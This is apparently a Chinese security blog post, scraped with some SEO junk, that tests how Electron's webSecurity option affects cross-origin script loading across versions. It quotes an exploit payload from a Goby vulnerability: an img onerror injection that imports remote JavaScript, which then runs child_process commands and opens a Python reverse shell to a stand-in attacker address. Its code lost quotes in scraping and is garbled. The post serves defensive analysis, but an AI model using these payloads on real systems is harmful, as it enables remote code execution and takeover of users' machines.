单页销售网站模板,简书 wordpress 搭建,亚洲电视全球运营中心,唐山seo公司0x01 简介 https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity 大家好#xff0c;今天跟大家讨论的是 Electron 的安全配置选项 —— webSecurity
这在之前的文章 《Electron安全与你我息息相关》 中就已经提…0x01 简介 https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity 大家好今天跟大家讨论的是 Electron 的安全配置选项 —— webSecurity
这在之前的文章 《Electron安全与你我息息相关》 中就已经提到过了该选项的意义是开启同源策略是 Electron 的默认值即默认即开启同源策略 https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy 之前我们在讨论 Goby 的漏洞时我们发现利用的 Payload如下
?php
header(X-Powered-By: PHP/img src\x\ onerrorimport(unescape(http%3A//127.0.0.1/test2.js)));
?test2.js
(function(){
require(child_process).exec(open /System/Applications/Calculator.app);
require(child_process).exec(python -c \import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((127.0.0.1,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);\);
})();https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ 在这里我们注意到放置 Payload 的地方在外部的 JavaScript 文件虽然上面写的是 127.0.0.1 实际是想说我们恶意服务器上的 JavaScript
正常来说这种利用是不会成功的因为有同源策略的限制但是后来我们发现老版本的 Goby 显式地将 webSecurity 设置为了 false 不然利用的话还会再难一些
我们公众号开启了留言功能欢迎大家留言讨论
这篇文章也提供了 PDF 版本及 Github 见文末 0x01 简介 0x02 安全效果测试 1. 本地加载测试同源策略 2. 远程加载测试同源策略 0x03 总结 0x04 PDF版 Github 往期文章 0x02 安全效果测试
这个实验需要分为两个部分这也是我测试过程中发现的小问题
远程恶意的 JavaScript 服务器 测试过程中未设置 CSP 策略避免影响结果
测试思路很简单就是直接让 index.html 中加载如下代码
img srcx onerrorimport(unescape(http://192.168.31.216/payload.js)) /如果可以成功加载就会在页面中显示 Remote code is running.
1. 本地加载测试同源策略
index.html
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleWeb Security Test/title
/head
bodyh1Web Security Test/h1div idlocal-js/divhrdiv idremote-js/div!-- 跨源脚本 --img srcx onerrorimport(unescape(http://192.168.31.216/payload.js)) /scriptdocument.getElementById(local-js).innerText Local code is runnning./script
/body
/htmlmain.js
// Modules to control application life and create native browser window
const { app, BrowserWindow } require(electron)
const path require(path)function createWindow () {// Create the browser window.const mainWindow new BrowserWindow({width: 800,height: 600,webPreferences: {webSecurity: true,// preload: path.join(__dirname, preload.js)}})mainWindow.loadFile(index.html)
}app.whenReady().then(() {createWindow()app.on(activate, function () {if (BrowserWindow.getAllWindows().length 0) createWindow()})
})app.on(window-all-closed, function () {if (process.platform ! darwin) app.quit()
})
webSecurity: false
当 webSecurity 设置为 false 时 在 Electron 5.0、10.0、30.0 版本中均可以成功执行远程 JavaScript 代码
webSecurity: true 在 Electron 5.0、10.0、30.0 版本中均可以成功执行远程 JavaScript 代码
小结
在本地加载 index.html 的时候在本地资源中加载外部 JavaScript 是不受 webSecurity 影响的
2. 远程加载测试同源策略
将 index.html 放到单独的服务器上 http://192.168.31.185:8080/index.html
main.js
// Modules to control application life and create native browser window
const { app, BrowserWindow } require(electron)
const path require(path)function createWindow () {// Create the browser window.const mainWindow new BrowserWindow({width: 800,height: 600,webPreferences: {webSecurity: true,// preload: path.join(__dirname, preload.js)}})mainWindow.loadURL(http://192.168.31.185:8080/index.html)// Open the DevTools.mainWindow.webContents.openDevTools()
}app.whenReady().then(() {createWindow()app.on(activate, function () {// On macOS its common to re-create a window in the app when the// dock icon is clicked and there are no other windows open.if (BrowserWindow.getAllWindows().length 0) createWindow()})
})app.on(window-all-closed, function () {if (process.platform ! darwin) app.quit()
})
webSecurity: false 这里就出现了一个有趣的现象关闭了 webSecurity 后在 10.0 中竟然还是远程加载 JavaScript 失败了但是在 5.0 和 30.0 中均成功了这应该是 Electron 的一个 bug
webSecurity: true 开启了 webSecurity 后表现倒是一致的均阻拦了跨域的资源请求
补充测试
虽然Electron 中这个 bug 不是很重要但是我们还是补充测试一下到底是哪些版本存在该 bug Electron 11.0.0 中该 bug 已经修复 Electron 10.1.3 中该 bug 已经修复 Electron 10.1.2 中该 bug 存在所以是在 ELectron 10.1.3 中被修复我们看一下在哪个版本中开始存在 Electron 9.0.0 中已经存在该 bug Electron 8.5.5 版本中不存在该 bug
因此存在该 bug 的版本为 Electron 9.0.0 ~ 10.1.2
小结
在远程加载的形式创建窗口时 webSecurity 的开始起作用设置为 true 时同源策略有效当设置为 false 时 Electron 9.0.0 ~ 10.1.2 依旧存在同源策略除以上版本外同源策略均失效
0x03 总结
Electron 项目中比较常见的通过 loadFile(index.html) 创建窗口时webSecurity 选项并没有用可以加载 file:// 和 http:// 这种本地或远程的 JavaScript
当通过 loadURL 加载远程页面创建窗口时webSecurity 选项有效默认配置为 true值为 true 时同源策略有效;当值为 false 时在 Electron 9.0.0 ~ 10.1.2 版本中关闭同源策略失败同源策略仍然有效这是一个 bug 除上述版本以外均会关闭同源策略允许跨域加载 JavaScript
需要注意的是加载资源这个事还会受 CSP(内容安全策略) 的影响文中的测试均为未设置 CSP 时的情况
默认值的时间线如下 0x04 PDF版 Github
PDF 版 https://pan.baidu.com/s/1z4qW-8leTnTI-Rd5RS6LxQ?pwdngy7 Github https://github.com/Just-Hack-For-Fun/Electron-Security 「圈子的最近主题和圈子内部工具一些展示」
纷传100%官方认证授权可在发现-圈子页面查看 圈子部分内容展示 poc漏洞库 8000src陆续更新中 -紧跟时代发展争做先进网安人 一起愉快刷分-榜上有名 免杀-护网必备 新手学习、老手巩固-温故而知新 学习报告-三人行必有我师 各类会员-尊贵的SVIP 「你即将失去如下所有学习变强机会」
学习效率低学不到实战内容
一顿自助钱我承诺一定让用户满意也希望用户能给予我一份信任
【详情下方图片了解】【扫下方二维码加入】只做高质量优质精品内容」
圈子目前价格为¥99元(交个朋友啦)现在星球有近150位师傅相信并选择加入我们圈子每天都会更新内容老用户可永久享受初始加入价格圈子内容持续更新中 免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责本公众号及作者不为此承担任何责任一旦造成后果请自行承担如有侵权烦请告知我们会立即删除并致歉。谢谢